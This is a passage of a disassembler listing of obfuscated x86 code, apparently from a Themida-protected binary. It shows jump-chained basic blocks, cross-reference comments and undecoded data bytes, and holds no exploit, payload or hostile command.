loc_5646A3:				; CODE XREF: Themida_:0055C765j
		mov	eax, 375972B9h
		jmp	loc_5574A1
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 5F2434FFh, 5704C483h, 0FFEA5EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5646BD:				; CODE XREF: Themida_:0055AB6Aj
		mov	[esp], ebx
		pop	esi
		jmp	loc_558179
; ---------------------------------------------------------------------------
		dw 68h
		dd 29000000h, 0CBE9242Ch
		db 44h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5646D3:				; CODE XREF: Themida_:0055FDD0j
		add	ebx, eax
		pop	eax
		add	ebp, ebx
		mov	ebx, [esp]
		push	edi
		jmp	loc_55DFCB
; ---------------------------------------------------------------------------
		db 5Fh,	33h, 1Ch
		dd 241C3124h, 8B241C33h, 56512424h, 3E51BB53h, 0E3817812h
		dd 626747C8h, 25F8C381h, 0EE9FD90h, 83FFFFE8h, 2C8704C4h
		dd 24248B24h, 5452C80Fh, 5A2434FFh, 4C481h, 58680000h
		dd 89000036h, 26E92434h
		db 51h,	2 dup(0FFh)
byte_56472B	db 0FFh			; DATA XREF: Themida_:00552AE8o
		dd 669D1C77h, 1CD36659h, 88E99C24h, 57FFFEE5h, 9760BCBFh
		dd 8BFE891Eh, 8956243Ch, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 773F055Ch, 70E93071h, 89FFFFCEh, 3C8B5AD6h, 4C48124h
		dd 8B000000h, 0C483241Ch, 0E9F02904h, 0FFFFCD33h, 2704EF81h
		dd 50E97D8Fh, 8100001Ah, 59033CE1h, 0F483E934h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564792:				; CODE XREF: Themida_:005573F4j
		push	ebx
		jmp	loc_565507
; ---------------------------------------------------------------------------
		dd 0E95BD889h, 0FFFEF5D7h
dword_5647A0	dd 53782CACh, 0C7FEF2B7h, 8043B652h, 0C7803AF6h, 0F85E92Dh
					; DATA XREF: Themida_:00552C04o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5647B6:				; CODE XREF: Themida_:00558C10j
		mov	ebx, [esp]
		add	esp, 4
		sub	ebx, 1633782Dh
		push	ebp
		push	7A9220D8h
		pop	ebp
		push	edi
		mov	edi, 5A993485h
		dec	edi
		not	edi
		or	edi, 7BF82B02h
		sub	edi, 4332600h
		add	edi, 384A7993h
		add	edi, 1002BA5h
		xor	ebp, edi
		jmp	loc_5560D4
; ---------------------------------------------------------------------------
		dd 7A2368h, 24248900h, 4240483h, 4BE565Fh, 1000000h, 9EE95EF7h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56480F:				; CODE XREF: Themida_:0055BE5Fj
		add	esi, 22EF2D54h
		add	esi, eax
		sub	esi, 22EF2D54h
		pop	eax
		mov	eax, [esp]
		jmp	loc_55BF9B
; ---------------------------------------------------------------------------


loc_564826:				; CODE XREF: Themida_:00560FEAj
		add	bl, 0CFh
		sub	bl, 7Dh
		sub	bl, dl
		jmp	loc_55AB4D
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F38102E3h, 75A6015Fh, 7AA9C381h, 0D8018E49h, 2C0835Bh
		dd 5C240487h, 0E730D4F6h, 0E730FC30h, 32243C30h, 0ECE9243Ch
		dd 81FFFFDDh, 4C7h, 77A9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56486A:				; CODE XREF: Themida_:00553B28j
		sub	ah, dh
		mov	dx, [esp]
		jmp	loc_555630
; ---------------------------------------------------------------------------
		db 29h,	0C3h, 58h
		dd 5C241C87h, 0BF243C89h, 4, 15FFB89h, 0FB74E9DEh, 48BFFFEh
		dd 4C48124h, 81000000h,	0DD383AF1h, 0E4BE5620h,	0E9186D76h
		dd 0FFFF9A0Ah, 4BFh, 0B02E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5648B2:				; CODE XREF: Themida_:00554468j
		pop	edx
		push	eax
		jmp	loc_5567F9
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 4BBh, 245C0100h, 241C8B04h, 0FFCCCAE9h, 243487FFh, 8352665Ch
		dd 0A2E904ECh, 0B8FFFFF3h, 28C276F0h, 64ABA52h,	0D86857D8h
		dd 8900007Eh, 77BF243Ch, 290FCD33h, 0E8E95FFAh
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5648FB:				; CODE XREF: Themida_:00565733j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		jmp	loc_552CC3
; ---------------------------------------------------------------------------
dword_564910	dd 0E940478Fh, 0FFFFF8B0h ; DATA XREF: Themida_:00552B48o
; ---------------------------------------------------------------------------


loc_564918:				; CODE XREF: Themida_:0055B30Dj
		xor	edi, ebx
		mov	ebx, [esp]
		push	ebx
		jmp	loc_5558B0
; ---------------------------------------------------------------------------
		db 52h
		dd 5D10BE56h, 0BF575952h, 29223FE8h, 315FFA89h,	0C2815EF2h
		dd 7AE005DAh, 0FFA72FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564941:				; CODE XREF: Themida_:0055B1B8j
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_557844
; ---------------------------------------------------------------------------
		dd 0F19D90B8h, 58C729B7h, 815FFE01h, 37278EEh, 81CE0149h
		dd 37278C6h, 44EE8149h,	8B100E60h, 0C483240Ch, 2B85004h
		dd 1000000h, 0FF5658C6h, 0E9042474h, 0FFFF4BF7h
; ---------------------------------------------------------------------------


loc_564990:				; CODE XREF: Themida_:0056413Dj
		jz	loc_558DAE
		push	3F79h
		jmp	loc_562371
; ---------------------------------------------------------------------------
		dd 4B8h, 0E9C20100h, 0FFFF2CBAh, 24048157h, 57EA71A2h
		dd 0A2E98159h, 5F57EA71h, 3EA1ED81h, 0CD01669Ch, 3EA1C581h
		dd 0C8B669Ch, 4C48324h,	3304C583h, 2C31242Ch, 44C0E924h
		dd 215BFFFFh, 8BE95BDAh
		db 29h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5649E7:				; CODE XREF: Themida_:00553761j
		push	ecx
		pop	eax
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	13B0h
		mov	[esp], edi
		push	4657h
		mov	[esp], ecx
		mov	ecx, 6543483Dh
		push	3D9Ah
		mov	[esp], eax
		mov	eax, 9BBCB7C3h
		add	ecx, 56430E2Dh
		add	ecx, 626640C9h
		sub	ecx, 5EFB51D7h
		add	ecx, eax
		add	ecx, 5EFB51D7h
		jmp	loc_55F536
; ---------------------------------------------------------------------------


loc_564A47:				; CODE XREF: Themida_:00565762j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_562AE8
; ---------------------------------------------------------------------------
		dw 8159h
		dd 990CE8E9h, 481513Fh,	0F979D724h, 48E95F54h, 89FFFFC6h
		dd 0B8502414h, 5FB97CA1h, 302B951h, 0C82900A4h,	75462D59h
		dd 0C2893E3Fh, 24540158h, 38E95A04h, 33FFFEE2h,	14312414h
		dd 24143324h, 0ED4685Ch, 3C890000h, 0AFBD5524h,	0BF7C600Ah
		dd 7C600AABh, 2C8BEF31h, 9ECEE924h, 0F681FFFFh,	7D8D6043h
		dd 0D6E9F531h
		db 4Eh,	2 dup(0FFh)
byte_564ABF	db 66h			; DATA XREF: Themida_:00552B20o
		dd 0E9240C8Bh, 0FFFFEC0Eh, 5D545558h, 4E1BB951h, 0D1F71822h
		dd 0B1E0E981h, 0CD01E7DDh, 7685E959h, 159FFFFh,	243C8BFBh
		dd 4C481h
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55CBCB
; ---------------------------------------------------------------------------
word_564AF6	dw 8B66h		; DATA XREF: Themida_:00552B80o
		dd 89512404h, 4C181E1h,	81000000h, 4E9h, 240C8700h, 240C895Ch
		dd 69E9E189h, 4FFFFF44h, 0C107EFC1h, 0F78103E7h, 520C6A7Eh
		dd 0FFE639E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564B29:				; CODE XREF: Themida_:0055AA05j
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_55BB0A
; ---------------------------------------------------------------------------
		dw 4481h
		dd 59310424h, 0FF5A3C45h, 34FF2434h, 89505D24h,	405E0h
		dd 4050000h, 33000000h,	4312404h, 24043324h, 4C4815Ch
		dd 52000000h, 0E901E950h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564B72:				; CODE XREF: Themida_:0055B982j
		pop	esp
		jmp	loc_5539DA
; ---------------------------------------------------------------------------
		dd 35BEC281h, 0DA015812h, 35BEEA81h, 875B5812h,	0F65C2414h
		dd 0B60F66E1h, 4EC81CCh, 89000000h, 0A4E9243Ch
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564B9F:				; CODE XREF: Themida_:00553C57j
		xor	ecx, 0B6A5FADh
		mov	eax, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		jmp	loc_5591BA
; ---------------------------------------------------------------------------
		dd 0A757C381h, 0DF0189D8h, 8BF8315Bh, 8957243Ch, 4C781E7h
		dd 81000000h, 4C7h, 243C8700h, 0E955505Ch, 0FFFF7CC0h
		dd 33243431h, 895C2434h, 6857241Ch, 53C62468h, 81D7F75Fh
		dd 0CEA1E7C7h, 5FFB89B3h, 4B01EB83h, 377C381h, 0A8E96FDDh
		dd 81FFFF88h, 4C2h, 0FB1AE900h,	2489FFFEh, 0AF6EE924h
		dd 0C981FFFFh, 5D8A5E5Ch, 5105E1C1h, 592414F7h,	0D1F7D9F7h
		dd 47B0F181h, 43E9297Ah, 5200001Eh, 692B60BAh, 213DE960h
		dd 0EEC1FFFFh, 4EEC102h, 0B5E7EE81h, 0F209F9B6h, 0FFC2815Eh
		dd 29288CD1h, 0DF295AD7h, 0FEE542E9h, 240489FFh, 0FEF349E9h
		dd 0E9E189FFh, 1F6Ah
; ---------------------------------------------------------------------------


loc_564C74:				; CODE XREF: Themida_:005665B7j
		pop	edx
		jmp	loc_563A1A
; ---------------------------------------------------------------------------


loc_564C7A:				; CODE XREF: Themida_:0055DB59j
		sub	esp, 4
		jmp	loc_566596
; ---------------------------------------------------------------------------
		dw 0C145h
		dd 0DDF706E5h, 0BE31F581h, 0ADE9CA6Ch, 83FFFF04h, 34FF04C4h
		dd 2434FF24h, 0E6895659h, 4C681h, 0C6810000h, 4, 2474FF56h
		dd 48F5E04h, 54515C24h,	4EC8159h, 89000000h, 468242Ch
		dd 8B000000h, 0DFE9242Ch, 8BFFFF98h, 2C682404h,	89000061h
		dd 0A6E92404h, 0BAFFFFBCh, 4, 335AD701h, 3C31243Ch, 243C3324h
		dd 0FFBDDCE9h, 8EAC1FFh, 1905E957h, 0E980FFFFh,	0C8305813h
		dd 81240C8Bh, 4C4h, 0E9515200h,	959h, 0C5E9C501h, 81000011h
		dd 0FB9AC5F2h, 5AD731C4h, 0EFD1D7F7h, 86A0C781h, 0F931FE7Ah
		dd 59C8295Fh, 4EC81h, 34890000h, 6B88BE24h, 0F7566023h
		dd 0F75E241Ch, 5EEC1DEh, 8106E6C1h, 2E2AB8C6h, 57B95148h
		dd 68262448h, 7DACh, 0BA241489h, 0
		dd 339FEA81h, 0CA291669h, 0FF000BE9h, 24148BFFh, 0FF18C1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564D7D:				; CODE XREF: Themida_:00557115j
		add	ebx, eax
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_561B7C
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 53h
		dd 93E9E389h, 83FFFEECh, 48904ECh, 5AB25224h, 5201C280h
		dd 0F6240C86h, 240C86D1h, 80D2F65Ah, 0E2C001C2h, 0E9B45006h
		dd 30F9C480h, 23E9E2h, 248B0000h, 48B6624h, 4EC8124h, 89000000h
		dd 0E189240Ch, 4EC8353h, 68242C89h, 28B91B36h, 0FFAE06E9h
		dd 516658FFh, 5BE9DAB5h, 89FFFF16h, 1D3568E7h, 0CE90000h
		dd 81FFFF24h, 225B8EBh,	57C32906h, 947637BFh, 81DFF717h
		dd 969BEFC7h, 5FFB011Dh, 7CB5C381h, 53506A03h, 0A378A3BBh
		dd 0F972E957h
		db 2 dup(0FFh)
word_564E26	dw 8B66h		; DATA XREF: Themida_:00552B74o
		dd 268240Ch, 8900001Eh,	0F5682414h, 5400007Bh, 8124048Fh
		dd 42404h, 515A0000h, 0F30AB4B9h, 0ADE95720h, 5C00000Fh
		dd 240C8966h, 0A9468h, 241C8900h, 88E58851h, 0D98859EBh
		dd 81241C8Bh, 4C4h, 88FC8800h, 1410E9CFh, 0C581FFFFh, 495E7833h
		dd 34FFEB29h, 0EC835D24h, 240C8904h, 0BE56E189h, 4, 0DFE9F101h
		db 0F2h, 2 dup(0FFh)
byte_564E97	db 0ADh			; DATA XREF: Themida_:00552AD0o
		dd 207F83h, 2D1D840Fh, 0BD55FFFFh, 58836358h, 0FF4735E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564EAD:				; CODE XREF: Themida_:0055587Fj
		xchg	edi, [esp]
		pop	esp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		inc	word ptr [esp]
		pushf
		jmp	loc_557C86
; ---------------------------------------------------------------------------
		db 0BAh, 0D5h, 23h
		dd 6FE97C42h, 51FFFF46h, 0F2AB8DB9h, 0E9CA01F5h, 0FFFF2EDCh
		dd 4204EAC1h, 0AEE9DAF7h
		db 4Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564EE7:				; CODE XREF: Themida_:005606F2j
		mov	edi, ebp
		pop	ebp
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_55B97F
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 240C8B00h, 56E38953h, 4BEh, 335E900h
		dd 3C890000h, 242C8124h, 4CBE7589h, 0FF777AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564F21:				; CODE XREF: Themida_:005641EBj
		push	dword ptr [esp]
		jmp	loc_55C848
; ---------------------------------------------------------------------------


loc_564F29:				; CODE XREF: Themida_:00560A52j
		add	edi, 0A26E9659h
		sub	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	3A46h
		jmp	loc_560B67
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFEE034h, 1557E95Dh, 0C181FFFFh, 0B371A537h, 4AE9CE01h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_564F67:				; CODE XREF: Themida_:005672CBj
		pop	edx
		jmp	loc_555A59
; ---------------------------------------------------------------------------
		db 29h,	0EFh, 0E9h
		dd 0FFFF38FEh
; ---------------------------------------------------------------------------


loc_564F74:				; CODE XREF: Themida_:00565B6Ej
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		xchg	ebx, [esp]
		mov	esp, [esp]


loc_564F9C:				; CODE XREF: Themida_:005671F5j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		jmp	loc_557CD0
; ---------------------------------------------------------------------------


loc_564FB1:				; CODE XREF: Themida_:00561A39j
		mov	[esp], edi
		jmp	loc_55D2A1
; ---------------------------------------------------------------------------
		db 0BDh, 0D7h, 69h
		dd 0C58110F3h, 0EF0C962Dh, 48E9EA01h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564FCB:				; CODE XREF: Themida_:005535B1j
		pop	edi
		jmp	loc_55404E
; ---------------------------------------------------------------------------
		db 0BEh, 4Fh, 24h
		dd 0C5E9280Fh, 68FFFF09h, 178Dh, 0B9240C89h, 4,	0C8B5A51h
		dd 4C48324h, 148BD501h,	0F70DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564FFA:				; CODE XREF: Themida_:0055546Dj
		mov	[esp], edx
		mov	edx, 0
		add	edx, eax
		add	dword ptr [edx], 1
		pop	edx
		pop	eax
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_565B5F
; ---------------------------------------------------------------------------
		db 81h
		dd 6C5BF3E2h, 4EAC13Dh,	2A75F281h, 0D0013786h, 3B85055Ah
		dd 0C8010657h, 573B852Dh, 6BCE2D06h, 55934C0h, 5DF6760Ch
		dd 54E95356h, 81FFFF2Ch, 4C4h, 0F437E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56505E:				; CODE XREF: Themida_:0056585Fj
		and	ecx, eax
		pop	eax
		add	ecx, 0F7C7BAA3h
		sub	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	[esp], eax
		push	100h
		mov	eax, [esp]
		add	esp, 4
		push	5F1Ah
		mov	[esp], ebp
		push	ebx
		jmp	loc_55906A
; ---------------------------------------------------------------------------


loc_56509B:				; CODE XREF: Themida_:00561AA8j
		add	edi, 7E506CE9h
		and	edi, 345629FEh
		neg	edi
		or	edi, 5EBC399Ah
		shl	edi, 4
		jmp	loc_5655BC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0A9E92424h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5650BF:				; CODE XREF: Themida_:0055DF2Cj
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_55B282
; ---------------------------------------------------------------------------


loc_5650DA:				; CODE XREF: Themida_:00555A2Bj
		push	esi
		jmp	loc_55701D
; ---------------------------------------------------------------------------


loc_5650E0:				; CODE XREF: Themida_:0055F9DFj
		xor	edx, 69604793h
		add	edx, 0A486D7D6h
		add	[esp+8], edx
		jmp	loc_5565D3
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0FFC2C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5650FD:				; CODE XREF: Themida_:00553D72j
		push	edi
		jmp	loc_552DCD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0D0E9240Ch, 0B7FFFF8Eh, 66F800BDh, 0E9E8285Bh, 0FFFF2FEAh
		dd 0E924248Bh, 0FFFF4A30h, 83E28159h, 5133A714h, 4C72BA52h
		dd 82E92275h, 83FFFF99h, 0FF042404h, 1FE92434h
		db 5Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56513F:				; CODE XREF: Themida_:005636D1j
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		or	edx, eax
		jmp	loc_5558FA
; ---------------------------------------------------------------------------


loc_56516B:				; CODE XREF: Themida_:00563116j
		mov	[esp], ebp
		push	15D2346Dh
		pop	ebp
		push	ecx
		jmp	loc_566887
; ---------------------------------------------------------------------------
		dw 545Ch
		dd 5724048Fh, 4BFh, 247C0100h, 13E95F04h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56518F:				; CODE XREF: Themida_:00561DD9j
		inc	ecx
		jmp	loc_55A8AE
; ---------------------------------------------------------------------------


loc_565195:				; CODE XREF: Themida_:0055E424j
		sub	ecx, 0A3657C9h
		push	6E80h
		mov	[esp], edx
		mov	edx, 730F5894h
		sub	edx, 567C0381h
		shl	edx, 7
		sub	edx, 0FF9A3406h
		jmp	loc_55F5AA
; ---------------------------------------------------------------------------
dword_5651BC	dd 0FF2434FFh, 34FF2434h, 0C4835824h ; DATA XREF: Themida_:00552A40o
		db 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	eax
		push	esi
		push	17D30F60h
		mov	esi, [esp]
		push	esi
		jmp	loc_55C998
; ---------------------------------------------------------------------------
dword_5651DC	dd 0B107E9ADh, 0DA01FFFFh, 1A1AC281h, 34FF58A0h, 0C4815B24h
					; DATA XREF: Themida_:00552BB4o
		dd 4, 0E9241433h, 0FFFF9EECh
; ---------------------------------------------------------------------------


loc_5651FC:				; CODE XREF: Themida_:0055EEF5j
		pop	dword ptr [esp]
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		pop	esi
		jmp	loc_56179F
; ---------------------------------------------------------------------------
		dd 0CF81DFF7h, 108B3C24h, 3C29EF81h, 0FE29BC87h, 5EF3015Fh
		dd 0FF35E950h
		db 0FEh, 0FFh
word_56522A	dw 4ACh			; DATA XREF: Themida_:00552C28o
		dd 4EC83A8h, 51241489h,	0C181E189h, 4, 4E981h, 0EDE90000h
		dd 1000008h, 24348BF3h,	4C481h,	0EB810000h, 4, 8B241C87h
		dd 2BE92424h, 1FFFF9Fh,	241C8BD9h, 4C481h, 0C330000h, 842EE924h
		dd 0E0D1FFFFh, 0FEDC56E9h, 5EB951FFh, 8170D90Ah, 663F5AF1h
		dd 0BB535659h, 15AC0B1Ch, 28E3814Bh, 0C15D1027h, 0C38107EBh
		dd 164C7347h, 0FFB551E9h, 25A5BEFFh, 0EE811053h, 0E384084Ah
		dd 815EF229h, 157480C2h, 0C2815E3Eh, 79436817h,	0E2BBD55h
		dd 0EA3138DAh, 0C8C7815Dh, 10E0665h, 0C8EF81D7h, 0FF0E0665h
		dd 6E92434h, 51000000h,	0FF816CE9h, 0B5685AFFh,	0E900007Fh
		dd 0FFFF23CBh, 0BE243489h, 4, 0B9E9F701h, 59FFFF5Fh, 4B850h
		dd 0C2010000h, 0FFC422E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56530D:				; CODE XREF: Themida_:005671D5j
		mov	eax, 54446187h
		or	ecx, eax
		jmp	loc_55FBFE
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 52h
		dd 52FFFEE5h, 965FF6BAh, 1BE94A6Ah
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56532B:				; CODE XREF: Themida_:0055B7D8j
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	edi
		mov	edi, 4
		jmp	loc_555DDA
; ---------------------------------------------------------------------------
		db 5
		dd 701530BCh, 0BC2DD029h, 8B701530h, 0EFE92414h, 66FFFFABh
		dd 0E9240C8Bh, 0FFFF5107h
; ---------------------------------------------------------------------------


loc_56535C:				; CODE XREF: Themida_:00560908j
		push	edi
		jmp	loc_561AA3
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 20C224D9h, 895AD001h, 0EB8158C5h, 0CC7049Eh,	0E9E9EB01h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56537B:				; CODE XREF: Themida_:00553947j
		add	dword ptr [esp+8], 3A166DFEh
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 25602899h
		push	ecx
		mov	ecx, 50844FD3h
		or	ecx, 37BB758Bh
		sub	ecx, 0B3D33B9h
		or	edx, ecx
		pop	ecx
		jmp	loc_55F9DC
; ---------------------------------------------------------------------------
		dd 0E95DEA31h, 0FFFF9A21h, 525FFB01h, 0FF72EFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5653BD:				; CODE XREF: Themida_:005553E6j
		mov	ecx, ebp
		pop	ebp
		sub	ecx, 8CE0B1Dh
		jmp	loc_5669F0
; ---------------------------------------------------------------------------
		db 89h
		dd 82BF243Ch, 0F7555835h, 50D7F7DFh, 0DB279AB8h, 0E9C7313Ch
		dd 0FFFFB1B6h, 6866D830h, 89666367h, 0CDE9240Ch, 81000021h
		dd 9F4AFEEEh, 242C8B43h, 8104C483h, 0B5397CC6h,	9FEE8174h
		dd 0E9156F64h, 0FFFF826Dh
; ---------------------------------------------------------------------------


loc_565410:				; CODE XREF: Themida_:0055BF4Dj
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_566788
; ---------------------------------------------------------------------------
		dd 0E9243433h, 0FFFFF7B4h, 52243C89h, 0BC7B8CBAh, 0E9D78932h
		dd 0FFFF26B3h, 4C481h, 0C4830000h, 13E95204h, 31FFFF64h
		dd 0D98959CBh, 0FF3A23E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565455:				; CODE XREF: Themida_:0055C3C7j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		mov	ecx, 38273B2Eh
		add	ecx, 0C7D8C4D6h
		add	ebx, 457E6ACDh
		jmp	loc_5654B5
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 22h
		dd 815C71F7h, 83121BEEh, 7FEE8169h, 29755614h, 7FB850DEh
		dd 1755614h, 6C6858C6h,	0E900005Ch, 0FFFFFF2Fh,	35068h
		dd 24248900h, 0FF0678E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5654A9:				; CODE XREF: Themida_:005593F3j
		pop	esi
		add	esp, 4
		jmp	loc_5626CB
; ---------------------------------------------------------------------------


loc_5654B5:				; CODE XREF: Themida_:00565470j
		add	ebx, ecx
		sub	ebx, 457E6ACDh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_56364C
; ---------------------------------------------------------------------------


loc_5654CB:				; CODE XREF: Themida_:0055A516j
		add	edx, ecx
		pop	ecx
		mov	ebp, edx
		pop	edx
		and	ebp, 69F21941h
		inc	ebp
		push	edi
		mov	edi, 571506D8h
		push	eax
		mov	eax, 48C612E7h
		push	esi
		mov	esi, 47830E5Eh
		shr	esi, 5
		not	esi
		jmp	loc_5599BA
; ---------------------------------------------------------------------------
		dd 0E8C064B0h, 0E96C0C04h, 0FFFF52A7h, 0FCE9FD29h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565507:				; CODE XREF: Themida_:00564793j
		push	eax
		jmp	loc_55A15E
; ---------------------------------------------------------------------------


loc_56550D:				; CODE XREF: Themida_:0055FBF9j
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 623243B0h
		jmp	loc_5581B2
; ---------------------------------------------------------------------------
		dd 663EB81h, 835E1BFAh,	1C8904ECh, 2474FF24h, 241C8B04h
		dd 0AAE95452h, 0B1FFFF08h, 27B750h, 0C78059CFh,	5BF8280Dh
		dd 0EC83E504h, 1C896602h, 32E36824h, 0C890000h,	0B352B524h
		dd 5BEB80C7h, 3055C380h, 0CBE959EBh
		db 0EAh, 2 dup(0FFh)
byte_56556F	db 66h			; DATA XREF: Themida_:00552AE0o
		dd 6824048Bh, 60A7h, 68243C89h,	36F4h, 24048F54h, 4240483h
		dd 3C3BE95Fh, 0E959FFFFh, 286h
; ---------------------------------------------------------------------------


loc_565594:				; CODE XREF: Themida_:00563BF1j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55880B
; ---------------------------------------------------------------------------


loc_5655A0:				; CODE XREF: Themida_:0055BB9Cj
		add	eax, ecx
		mov	ecx, [esp]
		jmp	loc_566707
; ---------------------------------------------------------------------------
word_5655AA	dw 8B66h		; DATA XREF: Themida_:00552A00o
		dd 0EC81240Ch, 4, 0E9241C89h, 0FFFF4B6Fh
; ---------------------------------------------------------------------------


loc_5655BC:				; CODE XREF: Themida_:005650B2j
		add	edi, 4000424h
		add	ebx, edi
		pop	edi
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		shr	eax, 0Ah
		xor	eax, ecx
		jmp	loc_55F983
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 0D567E956h
		db 2 dup(0FFh)
word_5655EE	dw 4F68h		; DATA XREF: Themida_:00552BD0o
		dd 89000075h, 14682424h, 89000029h, 4BB241Ch, 68000000h
		dd 59C4h, 0FFCDD7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56560D:				; CODE XREF: Themida_:00560FDFj
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	ecx
		jmp	loc_55F70F
; ---------------------------------------------------------------------------
		dd 0B60FC330h, 148B66C0h, 1BCC6824h, 34890000h,	105AE924h
		dd 0BF570000h, 50DA2064h, 0E781D7F7h, 621B2761h, 6FDEF81h
		dd 0F9012201h, 0E9575Fh, 81000022h, 1D302DF3h, 64BA5244h
		dd 3179843Eh, 89575AD3h, 5FFD89DFh, 0FF99ADE9h,	882FB5FFh
		dd 5CE959EEh, 89FFFF66h, 0C388241Ch, 1C8BDD88h,	4C48324h
		dd 0C8BEF88h, 4C48324h,	582434FFh, 8804C483h, 241C8BFDh
		dd 0E9E68956h, 0FFFFEBB5h
; ---------------------------------------------------------------------------


loc_5656A0:				; CODE XREF: Themida_:005670E5j
		add	esi, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_55645D
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 27h
		dd 29259945h, 27C281F2h, 8B259945h, 0C4832434h,	24348B04h
		dd 4C481h, 0E9500000h, 0FFFFA40Bh
; ---------------------------------------------------------------------------


loc_5656D4:				; CODE XREF: Themida_:0055C440j
		sub	edx, 4
